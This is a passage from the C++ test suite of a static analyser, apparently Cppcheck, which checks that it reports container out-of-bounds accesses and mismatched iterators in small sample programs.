checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" 